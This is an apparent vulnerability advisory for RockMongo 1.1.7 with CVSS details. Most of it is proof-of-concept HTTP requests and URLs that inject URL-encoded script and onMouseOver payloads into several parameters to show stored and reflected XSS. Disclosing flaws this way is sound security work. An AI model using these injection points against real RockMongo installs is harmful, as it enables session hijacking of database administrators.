RockMongo 1.1.7 - Stored Cross-Site Scripting (XSS)

# Exploit Title: RockMongo 1.1.7 - Stored Cross-Site Scripting (XSS)
# Discovery by: Rafael Pedrero
# Discovery Date: 2020-09-19
# Vendor Homepage: https://github.com/iwind/rockmongo/
# Software Link : https://github.com/iwind/rockmongo/
# Tested Version: 1.1.7
# Tested on:  Windows 7 and 10

# Vulnerability Type: Stored Cross-Site Scripting (XSS)

CVSS v3: 6.5
CVSS vector: 3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CWE: CWE-79

Vulnerability description: RockMongo v1.1.7, does not sufficiently encode
user-controlled inputs, resulting in a stored and reflected Cross-Site
Scripting (XSS) vulnerability via the index.php, in multiple parameter.

Proof of concept:

Stored:

POST https://localhost/mongo/index.php?action=db.newCollection&db=local
HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0)
Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
Origin: https://localhost
Connection: keep-alive
Referer: https://localhost/mongo/index.php?action=db.newCollection&db=local
Cookie: PHPSESSID=jtjuid60sv6j3encp3cqqps3f7; ROCK_LANG=es_es;
rock_format=json
Upgrade-Insecure-Requests: 1
Host: localhost

name=%09%22%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&size=0&max=0

Reflected:

https://localhost/mongo/index.php?action=collection.index&db=%3C%2Ffont%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E%3Cfont%3E&collection=startup_log

https://localhost/mongo/index.php?action=collection.index&db=local&collection=%3C%2Ffont%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E%3Cfont%3E

https://localhost/mongo/index.php?action=db.index&db=%22%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E

http://localhost/mongo/index.php?db=%3C%2Ffont%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E%3Cfont%3E&collection=startup_log&action=collection.index&format=json&criteria=%7B%0D%0A%0D%0A%7D&newobj=%7B%0D%0A%09%27%24set%27%3A+%7B%0D%0A%09%09%2F%2Fyour+attributes%0D%0A%09%7D%0D%0A%7D&field%5B%5D=_id&order%5B%5D=desc&field%5B%5D=&order%5B%5D=asc&field%5B%5D=&order%5B%5D=asc&field%5B%5D=&order%5B%5D=asc&limit=0&pagesize=10&command=findAll

http://localhost/mongo/index.php?db=local&collection=%3C%2Ffont%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E%3Cfont%3E&action=collection.index&format=json&criteria=%7B%0D%0A%0D%0A%7D&newobj=%7B%0D%0A%09%27%24set%27%3A+%7B%0D%0A%09%09%2F%2Fyour+attributes%0D%0A%09%7D%0D%0A%7D&field%5B%5D=_id&order%5B%5D=desc&field%5B%5D=&order%5B%5D=asc&field%5B%5D=&order%5B%5D=asc&field%5B%5D=&order%5B%5D=asc&limit=0&pagesize=10&command=findAll

http://localhost/mongo/index.php?db=local&collection=startup_log&action=collection.index&format=%27+onMouseOver%3D%27alert%281%29%3B&criteria=%7B%0D%0A%0D%0A%7D&newobj=%7B%0D%0A%09%27%24set%27%3A+%7B%0D%0A%09%09%2F%2Fyour+attributes%0D%0A%09%7D%0D%0A%7D&field%5B%5D=_id&order%5B%5D=desc&field%5B%5D=&order%5B%5D=asc&field%5B%5D=&order%5B%5D=asc&field%5B%5D=&order%5B%5D=asc&limit=0&pagesize=10&command=findAll


POST http://localhost/mongo/index.php?action=login.index&host=0 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0)
Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 109
Origin: https://localhost
Authorization: Basic cm9vdDpyb290
Connection: keep-alive
Referer: https://localhost/mongo/index.php?action=login.index&host=0
Cookie: ROCK_LANG=es_es; PHPSESSID=tpaptf0gtmas344agj5ia6srl1;
rock_format=json
Upgrade-Insecure-Requests: 1
Host: localhost

more=0&host=0&username=%22%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&password=****&db=&lang=es_es&expire=3

POST http://localhost/mongo/index.php?action=server.command& HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0)
Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 109
Origin: https://localhost
Authorization: Basic cm9vdDpyb290
Connection: keep-alive
Referer: https://localhost/mongo/index.php?action=server.command&
Cookie: ROCK_LANG=es_es; PHPSESSID=tpaptf0gtmas344agj5ia6srl1;
rock_format=json
Upgrade-Insecure-Requests: 1
Host: localhost

command=%7B%0D%0A++listCommands%3A+1%0D%0A%7D&db=%22%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&format=json

POST http://localhost/mongo/index.php?action=server.execute& HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0)
Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 140
Origin: https://localhost
Authorization: Basic cm9vdDpyb290
Connection: keep-alive
Referer: https://localhost/mongo/index.php?action=server.execute&
Cookie: ROCK_LANG=es_es; PHPSESSID=tpaptf0gtmas344agj5ia6srl1;
rock_format=json
Upgrade-Insecure-Requests: 1
Host: localhost

code=function+%28%29+%7B%0D%0A+++var+plus+%3D+1+%2B+2%3B%0D%0A+++return+plus%3B%0D%0A%7D&db=%22%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E